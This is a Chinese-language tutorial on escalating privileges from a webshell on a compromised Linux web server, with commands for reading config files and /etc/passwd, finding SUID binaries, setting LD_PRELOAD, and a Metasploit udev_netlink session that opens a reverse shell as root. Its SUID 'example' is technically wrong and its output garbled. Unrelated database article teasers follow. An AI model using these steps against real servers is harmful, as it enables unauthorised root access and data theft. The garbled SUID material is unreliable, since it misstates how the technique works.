超全的webshell权限提升方法

下面我来详细讲解“超全的webshell权限提升方法”的完整攻略。

什么是WebShell

在开始讲解 WebShell 权限提升的攻略之前,先简要介绍一下 WebShell。WebShell 是一种由黑客通过 Web 服务器的漏洞等方式上传到 Web 服务器中的一种脚本文件,可以通过 Web 服务器 HTTP 服务对外发布,并提供给黑客查看、控制 Web 服务器的操作。常用的 WebShell 有冰蝎、菜刀、中国菜刀等。

WebShell 权限提升攻略

WebShell 是否有权限提升操作,取决于 Web 服务器当前用户对文件和操作功能的权限。如果当前权限较低,可以进行权限提升操作。

以下是 WebShell 权限提升的攻略:

1. 查找敏感文件

在 Web 根目录下查找敏感文件,如 config.php,database.php,passwd,.htpasswd 等文件,可以通过打开文件获取数据库、系统配置信息等敏感信息。

ls -al /var/www/html
cat /var/www/html/config.php

2. 查找敏感目录

在 Web 根目录下查找敏感目录,如 /etc,/proc, /var/www/html 的上层目录等,可以通过访问目录获取敏感信息。

cd /var/www
ls -al
cat /etc/passwd

3. 利用 SUID 提权

执行 SUID 提权命令,可以将普通用户提权至管理员或 root 用户。

sudo -u root /usr/local/bin/command

4. 利用内核漏洞提权

通过利用 Web 服务器上的内核漏洞提权,可以提权至 root 用户。

msf > use exploit/linux/local/udev_netlink

5. 利用 LD_PRELOAD 提权

利用 LD_PRELOAD 提权可以用来绕过某一些权限策略。

export LD_PRELOAD=/tmp/root.so

6. 利用 suid bit 文件提权

在 Web 服务器中查找 suid bit 文件,可以通过 suid bit 文件底层实现,让普通用户进程以 root 用户身份运行。

find / -perm -4000 -type f 2>/dev/null

示例说明

以下是本文的两个示例说明:

示例一:利用 SUID 提权

$ ls -lsa /usr/bin/passwd
-rwsr-xr-x 1 root root 75368 2014-05-11 00:46 /usr/bin/passwd

$ id
uid=1000(web) gid=1000(web) groups=1000(web)

$ sudo -u root /usr/bin/passwd
[sudo] password for web:
root的密码:
passwd: 我们只支持真正的加密密码。
请输入访问模块的密码:
输入新的UNIX口令:
重新输入新的UNIX口令:
passwd: 密码成功更改

在此示例中,我们利用 /usr/bin/passwd 的 SUID 特性,让普通的 Web 服务器用户提升至 root 用户,从而执行 root 用户的操作。

示例二:利用内核漏洞提权

msf > use exploit/linux/local/udev_netlink
msf exploit(linux/local/udev_netlink) > set SESSION 1
SESSION => 1
msf exploit(linux/local/udev_netlink) > exploit

[*] Started reverse TCP double handler on 192.168.1.102:4444
[*] Udev Netlink Privilege Escalation Attack
[*] Enabling SELinux support ...
[*] Building netlink message ...
[*] Send netlink message ...
[*] Waiting for privileged udev trigger ...
[*] Sleeping for 2 seconds to wait for privileged udev ...
[*] Grabbing udev DBus service name from the system bus ...
[*] Successfully got udev DBus service name: org.freedesktop.UDisks2
[*] Sending DBus command for privilege escalation ...
[*] Got a context!
[*] Opened payload channel: 0
[*] Command shell session 3 opened (192.168.1.102:4444 -> 192.168.1.105:58667) at 2021-07-26 09:55:35 -0700

id
uid=0(root) gid=0(root) 组=0(root)

在此示例中,我们使用 Metasploit 框架,使用内核漏洞提权进行权限提升攻击,最终成功提权至 root 用户。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:超全的webshell权限提升方法 - Python技术站

(0)
上一篇 2023年5月21日
下一篇 2023年5月21日

相关文章

  • php更新mysql后获取影响的行数发生异常解决方法

    下面我将详细讲解“PHP更新MySQL后获取影响的行数发生异常解决方法”的完整攻略。 问题描述 在 PHP 中使用 MySQL 的 UPDATE 或 INSERT 操作后获取影响的行数时,有时会发生异常,无法正确获取到影响的行数,这是一个很常见的问题。 原因分析 MySQL 更新或插入数据时,如果当前操作不影响任何数据,将返回一个值为0的结果。但如果此时调用…

    database 2023年5月21日
    00
  • Oracle中 关于数据库存储过程和存储函数的使用

    下面我详细讲解一下有关Oracle数据库存储过程和存储函数的使用攻略。 1. 什么是存储过程和存储函数? 存储过程和存储函数是SQL Server中的两个重要的对象,相比于传统的SQL语句,它们可以提高SQL语句的复用性和可维护性。存储过程和存储函数是事先编写好的一组SQL语句,封装在数据库服务器中,在需要的时候被调用执行,可以完成一系列复杂的操作。其中,存…

    database 2023年5月21日
    00
  • 网易社招面试流程与经验总结【纯干货分享】

    我们来详细讲解一下关于“网易社招面试流程与经验总结【纯干货分享】”的完整攻略。 网易社招面试流程 在介绍攻略之前,先来了解一下网易社招的面试流程。网易社招一般分为以下几个环节: 投递简历 首先,你需要在网易招聘网站投递你的简历。如果符合要求,HR 会与你电话联系安排下一步面试。 初试 初试一般为电话面试,主要考察基本的职业素养、技能水平及工作经验等情况。 复…

    database 2023年5月22日
    00
  • 如何在Python中更新MySQL数据库中的数据?

    以下是在Python中更新MySQL数据库中的数据的完整使用攻略。 使用MySQL数据库的前提条件 在使用Python连接MySQL数据库之前,确保已经安装了MySQL数据库,并已经创建使用数据库和表。同时,还需要安装Python的驱动程序,例如mysql-connector-python。 步骤1:导入模块 在Python中使用mysql.connecto…

    python 2023年5月12日
    00
  • MySql连接数据库常用参数及代码解读

    让我来详细讲解”MySql连接数据库常用参数及代码解读”的完整攻略。 什么是MySql数据库 MySQL 是一种开源数据库管理系统,利用 SQL 进行数据的管理,MySQL 开始开发时,主要是为了服务于大型软件的网站,作为 web 应用程序的后台数据库。随着互联网服务的普及,MySQL 也已成为最流行的开源数据库之一。 连接MySQL数据库 使用 MySQL…

    database 2023年5月22日
    00
  • SQL 从不固定位置提取字符串的元素

    当我们需要从字符串中提取指定的元素时,通过在SQL中使用一些内置的函数,例如SUBSTRING()和CHARINDEX()函数,可以轻松完成这个任务。 在下面的示例中,我将向您展示如何从不同位置提取字符串中的元素: 示例1:从起始位置提取字符串的元素 假设我们有以下这个字符串 “Hello World”,现在我们想要从字符串的起始位置提取前4个字符。可以通过…

    database 2023年3月27日
    00
  • Mysql优化策略(推荐)

    Mysql优化策略(推荐) 在使用MySQL数据库时,可能会遇到一些性能问题,比如说查询速度过慢、存储空间占用较大等等。为了提高MySQL数据库在这些方面的性能,我们需要进行一些优化。下面是一些MySQL优化策略,可以帮助您提升MySQL的性能。 1. 选择合适的存储引擎 MySQL支持多种存储引擎,如InnoDB、MyISAM、Memory等。不同的存储引…

    database 2023年5月19日
    00
  • redis-cluster 性能调优

    关闭RDB防止fork进程的内存溢出问题 save “” appendonly=yes 防止某个节点挂掉,整个cluster挂掉的问题 cluster-require-full-coverage no 设置最大内存 maxmemory 11453246122 日志 logfile “./redis.log” 防止因为磁盘同步,卡掉住进程的情况出现 no-ap…

    Redis 2023年4月16日
    00
合作推广
合作推广
分享本页
返回顶部